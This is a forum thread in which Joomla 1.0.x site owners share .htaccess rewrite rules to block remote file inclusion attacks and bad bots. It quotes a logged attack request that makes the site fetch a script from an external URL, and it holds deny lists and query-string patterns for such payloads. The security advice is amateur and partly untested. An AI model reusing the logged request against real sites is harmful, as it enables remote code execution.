Hi,

It know this post is a bit long but please take time to read it.  I solved my problem but others might find this usefull. There still are some questions to be answered though. I have been looking around a bit and I found some posts that describe this kind of hack attempts but I believe they have not been discussed enough to give a proper solution. Maybe we can provide one in this thread.

First some of the facts, I just know you are going to ask them 

PHP 5.2.5, Joomla version 1.0.13, register globals off, safe mode on, Allow_url_fopen is turned on and open_basedir
is set to none. I only use components that are found to be OK in the Vulnerability Checklist (the site got hacked with or without these components so they were of no importance to the problem I had)

Now for what happened:

My site had been going down a lot last month so I started contacting my hosting company (yeah, I'm on a Shared Server so sue me). After they assured me there were no server issues I was told a "locked" or "sleeping" php process caused the downtime.

First I installed the latest joomla update (1.0.12 to 1.0.13), later I even installed my entire site from scratch on a “fresh” 1.0.13 joomla, they all went down in no time.

Note: when I say down I mean that the site wont load.  Phpmyadmin or my customer server configuration or a standard .html file are accessible but the php stuff does not work.

So I started reading this and other fora to find the solution and it did not take me long to find the wonderfull FAQs section with the  Joomla! Administrator's Security Checklist.  I tried to apply all recommendations to a brand new joomla 1.0.13 installation (no components!) and put the site back online with the standard .htaccess file enabled. Unfortunately, the site still went down.

When investigating deeper in my log files I found that indeed I was suffering from hack attempts. Php scripts, hosted on other domains were being called from my site.
Example:

Code: Select all

IP-DATE-TIME "GET /index.php?option=http://EXTERNAL_URL/file.txt? HTTP/1.1" 200 33035 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"

Some hack attempts were http coded 403 (thanks to the .htaccess file) but some still were code 200. Every time after these coded 200 hack attempts, the site got down (php hanging or sleeping?).

I solved this by adding more security to my .htaccess file using the RewriteCond’s and since then the site has been online all the time.  If I look at my logs now, all attempts are blocked indeed.

Now I very much would like to know:
Is this a server config problem (as in: my Hosts problem)
Is this a Joomla core problem

I have other sites running on the same server but on other software such as Coppermine, OSCommerce and they are not affected by similar hack attempts.

For documentation of this problem I have some nice extracts from my log files with a lot of variations on how to call the external scripts and some of the actual scripts that were called upon (I put these in a pdf for security reasons).  I would love to have a php-expert to take a look at these scripts and tell me what they actually do since php is not my cup of tea.

Can you be specific about how you "solved the problem" ? I don't know if I had the same problem or not but I was hacked twice and I'm trying to do everything I can to be secure. So can you let us know codewise what you put in the htaccess file?

Hi dax702,

In my first attempt I used the htaccess.txt file of course and changed it to .htaccess and made the adjustments as described in the topic FAQ: How to protect a site using .htaccess and mod_rewrite

Next I added this extra bit of code at the end:

Code: Select all

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} ^HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^MJ12bot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule ^.* - [F,L]


When I saw there still were attempts successfull I changed the rewrite rules to block out some common exploits by adding this:

Code: Select all

#IF the URI contains a "http:" or "ftp:" or "https"
RewriteCond %{QUERY_STRING} http\: [OR]
RewriteCond %{QUERY_STRING} ftp\: [OR]
RewriteCond %{QUERY_STRING} https\: [OR]
#OR if the URI contains a "["
RewriteCond %{QUERY_STRING} \[ [OR]
#OR if the URI contains a "]"
RewriteCond %{QUERY_STRING} \] [OR]


So the entire "Rewrite rules to block out some common exploits" block looks like this:

Code: Select all

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
#IF the URI contains a "http:" or "ftp:" or "https"
RewriteCond %{QUERY_STRING} http\: [OR]
RewriteCond %{QUERY_STRING} ftp\: [OR]
RewriteCond %{QUERY_STRING} https\: [OR]
#OR if the URI contains a "["
RewriteCond %{QUERY_STRING} \[ [OR]
#OR if the URI contains a "]"
RewriteCond %{QUERY_STRING} \] [OR]
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
#
########## End - Rewrite rules to block out some common exploits


I'm not an expert - so correct me if I'm wrong - but I think this last modification covers it all, the prior one would not have been necessary but as everything works fine now, I'll leave it as it is. Also note that I have no knowledge if these restrictions I added interfear with other components that are not installed on my site. Mine work fine.

Hope this is of help.  I would like the moderators or joomla experts to evaluate this solution.

MnM

For the record:

I have used these additional safeguards on my site and they are already bearing fruit!

I went through the logs and found a few occurances from before I made the changes and re-ran these attempts.  Whereas they were returning an http return code of 200 before (and something else at the application level was stopping the maliciousness from occuring, somehow), now they're throwing a return code of 403. 

I can't seem to get an authoritative answer as to whether or not I was safe before, but now I KNOW that these attempts are failing and I feel confident that I have made another positive step toward securing my site!

Thank you VERY much, MnM!! You are truly the Joomla hero for the day!!! 

Can you also add your php and server settings as I did.  I was thinking that the Allow_url_fopen and open_basedir
settings could be the reason why these attempts were not stopped in my case and maybe were stopped in your case.

what do you mean add server settings?

Add the settings to this post, PhP version, reg globals; safe mode, allow_url_fopen, open_basedir, ...

Apache/1.3.39 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.7 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.30 OpenSSL/0.9.8b
PHP Version 4.4.7

Apache/1.3.39 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.7 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.30 OpenSSL/0.9.8b

  - Server Protocol  HTTP/1.1
  - Gateway Interface CGI/1.1

PHP Version  4.4.7
  - File Uploads Enabled ON
  - Max. Upload Size 8M
  - Max. Post Size 8M
  - Max. Execution Time 30 secs
  - Max. Input Time 60 secs
  - Memory Limit
  - Include Files .:/usr/lib/php:/usr/local/lib/php
  - PHP API apache
  - Zend Version 1.3.0

Register Globals Emulation: OFF
Register Globals:          OFF

I couldn't find any of the safe mode, allow_url_fopen, open_basedir - where would I find those?

You should find these settings in your Admin-System-System Info-PHP Info under Configuration PHP Core.

Very NICE Information MnM! Thank you very much for enlightening me on some things. I just recovered from 4 sites being hacked, and now I have a much better security system in place thanks to you!

Since I employed MnM's htaccess rules, all those remote file include attacks have come up as 403; not a single one gets through anymore so I am feeling pretty good about everything again! 

dax702 wrote:Since I employed MnM's htaccess rules, all those remote file include attacks have come up as 403; not a single one gets through anymore! 

I have seen the same results ongoing.

Now the question is, why is MnM's list so much different (and larger) than the one in the .htaccess file included with J! 1.0.13?  Is it a matter of these exploits coming in 'under the radar' and not being noted for inclusion at that time, or is it a matter of new exploits that have emerged since the original list was developed.  If it's the latter, even though some of MnM's rules are rather global in cvope, we should probably all be redoubling our efforts to watch our logs because there will no doubt be new exploits to add soon...

But I too am breathing a little easier now that I'm seeing 403's in those log entries!!!

I think what caused the htaccess to start blocking all those attempts was the fact that they all included a full URL, so by blocking any that try to include http:// that pretty much keeps all the bad stuff out.  The reason his is long is because he has rules for all those specific user agents.  I'm guessing we can probably take some of those out? libwww seems to be the one that is used the most. I remember reading somewhere that the more stuff you have in htaccess, that it can slow down the site; anyone know if that's true?

dax702 wrote:I think what caused the htaccess to start blocking all those attempts was the fact that they all included a full URL, so by blocking any that try to include http:// that pretty much keeps all the bad stuff out.  The reason his is long is because he has rules for all those specific user agents.  I'm guessing we can probably take some of those out? libwww seems to be the one that is used the most. I remember reading somewhere that the more stuff you have in htaccess, that it can slow down the site; anyone know if that's true?

While I don't have anything to back me up documentation wise, it only stands to reason that the longer the .htaccess file is the bigger the hit will be on the site -- it's the same thing with firewall rules and anything else that has to systematically be traversed everytime there's an access attempt.  But I think the fact that the .htaccess file is, say, a hundred lines long shouldn't cause too much of a problem.. if you were to start multiplying the number of lines by say 10 or 100 ... well then you might start seeing some issues.. I suppose it depends on the server and how popular the site is.  Also, I suppose it would depend on what the lines are making the server do... in this case I don't think they're too resource intensive. 

I can honestly say that I've seen no perceptible change in my site with the longer .htaccess file.

well my website isn't even live to the public yet and it was already hacked twice so that certainly put a damper on things.  But since I added all those rules to htaccess and made sure that every single file is 644 and every folder is 755, I haven't been hacked again.  From what I've read, it's reasonably ok to say that I'm safe from those scripts that just go out and search the internet for easy holes to get into.  Unless an individual is actually targeting your site for a specific reason, then the file permissions along with a good htaccess file appears to be working so far...

As to permissions... well that can be a little dependent on the server. My server has suexec running on it - all CGI scripts run as the domain owner, rather than as Apache. Meaning having 644/755 permissions still gives a script full read/write access to your files....

Cool-done, htaccess updated and now getting 403's.
Just one thing-if you are copying MnM's last block of code only (the rewrite conditions to block some common hacking attempts)-don't forget to put this line of code  at the start:-

RewriteEngine On

the reason that the posted htaccess file is very large is that it has been adapted and added to.
the original htaccess file proved on instal;lation is acceptable and useful if implemented but not a total solution.

(i believe that the bot list was derived from one of my htaccess posts)

the most common bot that attacks sites is the libwww search the forums for those posts!

the size of the htaccess file is a slight slowdown on access times but better security.

for those who have just installed sites also remember the other simple rules.
1. make all directories max 755
2. check the vulnerable list
3. change the meta tags to attempt to hide that you have a joomla installation

** Since this post deals with security I should say that if you want to rely on someone's opinion mine is not the one to choose. I do not endorse any of the links listed below, and merely included those as a matter of information and to provide a starting point for your own research. **

I think MnM's check if the URI contains a "http:" or "ftp:" or "https" is an excellent idea and I have used it gladly. However it does not tackle exactly the same problem as the blacklist he also listed. It captures requests that contain a protocol in the part of the url after the protocol (i.e. http://www.yoursite.com/whatever.php?ht ... adsite.com) but it does not prevent any other methods there may be to get in through the url nor does it keep spambots out. The blacklist posted by MnM does offer a degree of protection, so I have done some research into the blacklisting and found various places where lists are shared that are even longer. See for example:
http://www.webmasterworld.com/forum13/687.htm
http://en.linuxreviews.org/HOWTO_stop_automated_spam-bots_using_.htaccess
http://en.wikipedia.org/wiki/User:Shadowbot/Blacklist
http://perishablepress.com/press/2007/06/28/ultimate-htaccess-blacklist/
http://perishablepress.com/press/2007/10/15/ultimate-htaccess-blacklist-2-compressed-version/
http://www.kloth.net/internet/badbots.php

I concluded two things from my research: 1) no matter how long the list is that you create, it is never long enough; and 2) if you are not a professional administrator you will probably not make the effort needed to keep the list up to date. The second drawback could be countered by using a regularly updated blacklist from for example Botslist (http://www.botslist.com/index.htm). Still, that seems to require some scripting and non-professionals like myself are much better off with a fire & forget solution. Looking for something like that, I found some scripts that do the work automatically. See for example:
http://danielwebb.us/software/bot-trap/
http://webmasters.winnfreenet.com/mmautoban.php
http://www.duskrider.com/crawlsnare.php
http://unknowngenius.com/blog/wordpress/ref-karma/

Unfortunately one needs to have some knowledge of the issues involved in order to choose the best script, and I do not understand enough to make an informed choice. So I was very pleased when by accident I came across a type of solution which I can understand, and which is referred to as a whitelisting or opt-in solution. This approach seems to have been proposed by IncrediBill, and basically means that only the common browsers and the top search engines are allowed into your site. There is more complexity to it, since it works on the basis of user agents which apparently can be spoofed, but the principle is simple and understandable, and does not seem to require much maintenance. See the following links for some information about this:
http://www.spam-whackers.com/blog/2007/08/28/opt-in-or-blacklist/
http://www.webmasterworld.com/forum92/5799.htm
http://www.ihelpyou.com/forums/showthread.php?s=&threadid=23248&perpage=20&pagenumber=1
http://incredibill.blogspot.com/2006/09/whitelist-opt-in-htaccess-file.html
http://www.crawlwall.com/
http://perishablepress.com/press/2007/01/22/invite-only-visitor-exclusivity-via-the-opt-in-method/
http://forums.searchenginewatch.com/showthread.php?threadid=13827
http://www.bluehostforum.com/archive/index.php/t-4013.html

Using this information, I have made my own addition to the htaccess rewrite conditions. I have not tested these yet, because I am following suggestions to set up security before doing anything else to develop a Joomla site and if I had waited with posting this until my site is ready I would no doubt have forgotten to do so. So, my added rules may not work and considering that this is the first time I have amended the htaccess file there is a good chance I made some mistake. Having said this, here is what I inserted immediately before MnM's protocol conditions:

  # (testing) Allow specific user agents
  #allow Firefox, MSIE, Opera
  RewriteCond %{HTTP_USER_AGENT} !^.*AOL.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Mozilla.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Opera.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Msie.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Firefox.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Netscape.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Safari.* [OR,NC]
  # allow Google, Yahoo, MSN, ASK/Teoma, Inktomi
  RewriteCond %{HTTP_USER_AGENT} !^.*Google.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Slurp.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Yahoo.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*MMCrawler.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*msnbot.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*SandCrawler.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*MSRBOT.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Teoma.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*Jeeves.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} !^.*inktomisearch.* [OR,NC]
  # deny certain spammers posing as allowed user agents
  RewriteCond %{HTTP_USER_AGENT} ^.*Indy.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*kastaneta.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*kasparek.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*Mozilla/3.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*Mozilla/2.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*furl.* [OR,NC]
  RewriteCond %{HTTP_USER_AGENT} ^.*libwww.* [OR,NC]

I think some people included some more browsers and search engines into their own version of the opt-in solution but frankly I am not too worried if every now and then a legitimate bot or visitor does not get in. On the other hand I did want to make sure that libwww which mandville mentioned as very common is caught. I thought it would be best to use the rewrite rule already there ( RewriteRule ^(.*)$ index.php [F,L] ) so I used an exclamation mark in front of every condition which should mean 'if not' (except where the posing bots are concerned). So these user agent lines basically say: if the user agent is not this browser or that browser or this search engine or that search engine then keep the door closed. In case of a successful spoof the protocol conditions of MnM should kick in, and then the last defence are the conditions that were included in the standard Joomla installation a few versions ago.

I have convinced myself that this solution is good enough to share, but still I would very much like to hear the views of those more experienced and knowledgeable than I am!

please add the following to the bad bots list

Code: Select all

cr4nk.ws/4.7

just search engine it for proof.

mandville wrote:please add the following to the bad bots list

Code: Select all

cr4nk.ws/4.7

just search engine it for proof.

Not being one to even pretend to understand the mechanics of some of these things, would adding it to the bad bots list constitute something like this?:

RewriteCond %{HTTP_USER_AGENT} ^.*cr4nk.ws/4.7* [OR,NC]

i would say yes, but that would all depend on how you are blocking the other versions of the bots, i do not use the format listed above, but something similar

just a small addendum to this post.
I noticed an attempted attack on my site today that used an "option=http..." query.
so, having found this post, I added MnM's rewrite conditions to the htaccess file.
However, when I tested it, the problem URI still got a 200 code. I discovered that this was because the "://" part of the protocol was in hexadecimal - "http%3A%2F%2F" to defeat this I changed the rewrite conditions to read

Code: Select all

RewriteCond %{QUERY_STRING} http [OR]
    RewriteCond %{QUERY_STRING} ftp [OR]
    RewriteCond %{QUERY_STRING} https [OR]

This works but is probably only a short term solution to the problem of hex coding of the query string.
Probably someone with a better understanding of htaccess and regex can come up with a better answer.

Hope this is of some use.
dodmo

Nice spot Dodmo-I wondered why some were still getting through.
I changed my htaccess as you suggested-and now they are getting a 403 reply.
Brilliant!!

just a thought, instead of blocking the calling IP's from possible zombie computers, how about blocking the bad script host? or is this just as time consuming/pointless?

i would say both...

what works :

write to the hoster of that infected host... show the logile, and ask the hoster to down that host /domain in question... because in 99.9% of all those infected hosts violating the law and the hoster has to down that host.

I just thought of something. Is there a way to just say send a 403 if the string has an http:// in it other than the my websites' url?

Thanks,

webharvest wrote:I just thought of something. Is there a way to just say send a 403 if the string has an http:// in it other than the my websites' url?

Thanks,

you can use .htaccess write a rewrite rule and send a 403 page then...
but i dont think, that you will get all of those punks with your rule(s).

Something I just found thanks to another poster is you should really add this to your htaccess file

RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC]
RewriteRule ^.*$ - [F]

Most of the attacks I've seen are using libwww-perl

Thanks

webharvest wrote:Something I just found thanks to another poster is you should really add this to your htaccess file

RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC]
RewriteRule ^.*$ - [F]

Most of the attacks I've seen are using libwww-perl

Thanks

Please take some time to really read the code in this topic and you will see it was one of the lines in my added code. It is true that a lot of the attacks are using liwww-perl but certainly not most of them. The "option=http..." query is also causing trouble, as well are others, it is a very long list.

Anyway...

It has been my experiance that other open source software such as coppermine or php-bb are immune to these attacks where joomla is not. I still find it strange that not more effort is taken to solve this problem at the core or to reply on this topic by the "core team". If coppermine has a built in solution, how hard can it be to create one for Joomla?
The next question is: how vulnerable is the Joomla 1.5.x to these kind of attacks. Or is it because there is a new "milestone" release that the old(er) one does no longer get the (security) support?